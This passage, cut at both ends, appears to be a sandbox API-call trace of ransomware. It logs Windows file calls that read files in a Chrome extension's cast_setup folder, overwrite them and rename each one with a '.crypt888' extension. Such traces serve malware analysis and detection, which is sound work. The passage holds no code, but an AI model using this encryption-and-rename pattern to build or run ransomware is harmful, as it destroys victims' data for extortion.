HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.crypt888", lpFilePart=0x0) returned 0xb3 [0075.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0075.640] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83674c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83674c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe47f4c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1bf0)) returned 1 [0075.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0075.641] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.crypt888")) returned 1 [0075.641] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html", lpFilePart=0x0) returned 0x9e [0075.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0075.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.641] GetFileType (hFile=0x174) returned 0x1 [0075.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0075.642] GetFileType (hFile=0x174) returned 0x1 [0075.642] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0x3b [0075.642] ReadFile (in: hFile=0x174, lpBuffer=0x28588ec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x28588ec*, lpNumberOfBytesRead=0x39eb84*=0x3b, lpOverlapped=0x0) returned 1 [0075.642] CloseHandle (hObject=0x174) returned 1 [0075.662] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html", lpFilePart=0x0) returned 0x9e [0075.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0075.663] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.664] GetFileType (hFile=0x174) returned 0x1 [0075.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0075.664] GetFileType (hFile=0x174) returned 0x1 [0075.664] WriteFile (in: hFile=0x174, lpBuffer=0x28a6a38*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x39eb48, lpOverlapped=0x0 | out: lpBuffer=0x28a6a38*, lpNumberOfBytesWritten=0x39eb48*=0x40, lpOverlapped=0x0) returned 1 [0075.665] CloseHandle (hObject=0x174) returned 1 [0075.665] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html", lpFilePart=0x0) returned 0x9e [0075.665] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.crypt888", lpFilePart=0x0) returned 0xa7 [0075.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0075.666] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83679a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83679a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe4cb780, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0075.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0075.666] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.crypt888")) returned 1 [0075.667] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html", lpFilePart=0x0) returned 0x9c [0075.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0075.667] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.667] GetFileType (hFile=0x174) returned 0x1 [0075.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0075.667] GetFileType (hFile=0x174) returned 0x1 [0075.667] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0x828 [0075.667] ReadFile (in: hFile=0x174, lpBuffer=0x28a885c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x28a885c*, lpNumberOfBytesRead=0x39eb84*=0x828, lpOverlapped=0x0) returned 1 [0075.679] CloseHandle (hObject=0x174) returned 1 [0075.725] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html", lpFilePart=0x0) returned 0x9c [0075.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0075.725] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.727] GetFileType (hFile=0x174) returned 0x1 [0075.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0075.727] GetFileType (hFile=0x174) returned 0x1 [0075.727] WriteFile (in: hFile=0x174, lpBuffer=0x26fab38*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x39eb48, lpOverlapped=0x0 | out: lpBuffer=0x26fab38*, lpNumberOfBytesWritten=0x39eb48*=0x830, lpOverlapped=0x0) returned 1 [0075.728] CloseHandle (hObject=0x174) returned 1 [0075.729] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html", lpFilePart=0x0) returned 0x9c [0075.729] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.crypt888", lpFilePart=0x0) returned 0xa5 [0075.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0075.729] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8367c180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8367c180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe563d00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x830)) returned 1 [0075.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0075.729] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.crypt888")) returned 1 [0075.730] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html", lpFilePart=0x0) returned 0x9d [0075.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0075.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.731] GetFileType (hFile=0x174) returned 0x1 [0075.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0075.731] GetFileType (hFile=0x174) returned 0x1 [0075.731] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0x3b [0075.731] ReadFile (in: hFile=0x174, lpBuffer=0x26fc164, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x26fc164*, lpNumberOfBytesRead=0x39eb84*=0x3b, lpOverlapped=0x0) returned 1 [0075.733] CloseHandle (hObject=0x174) returned 1 [0075.752] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html", lpFilePart=0x0) returned 0x9d [0075.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0075.752] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.753] GetFileType (hFile=0x174) returned 0x1 [0075.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0075.753] GetFileType (hFile=0x174) returned 0x1 [0075.754] WriteFile (in: hFile=0x174, lpBuffer=0x274a404*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x39eb48, lpOverlapped=0x0 | out: lpBuffer=0x274a404*, lpNumberOfBytesWritten=0x39eb48*=0x40, lpOverlapped=0x0) returned 1 [0075.755] CloseHandle (hObject=0x174) returned 1 [0075.755] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html", lpFilePart=0x0) returned 0x9d [0075.755] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.crypt888", lpFilePart=0x0) returned 0xa6 [0075.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0075.755] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83685dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83685dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe5affc0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0075.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0075.755] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.crypt888")) returned 1 [0075.756] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html", lpFilePart=0x0) returned 0x9c [0075.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0075.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.757] GetFileType (hFile=0x174) returned 0x1 [0075.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0075.757] GetFileType (hFile=0x174) returned 0x1 [0075.757] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0x3b [0075.757] ReadFile (in: hFile=0x174, lpBuffer=0x274ba38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x274ba38*, lpNumberOfBytesRead=0x39eb84*=0x3b, lpOverlapped=0x0) returned 1 [0075.758] CloseHandle (hObject=0x174) returned 1 [0075.777] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html", lpFilePart=0x0) returned 0x9c [0075.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0075.777] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.778] GetFileType (hFile=0x174) returned 0x1 [0075.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0075.778] GetFileType (hFile=0x174) returned 0x1 [0075.778] WriteFile (in: hFile=0x174, lpBuffer=0x2799b7c*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x39eb48, lpOverlapped=0x0 | out: lpBuffer=0x2799b7c*, lpNumberOfBytesWritten=0x39eb48*=0x40, lpOverlapped=0x0) returned 1 [0075.779] CloseHandle (hObject=0x174) returned 1 [0075.780] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 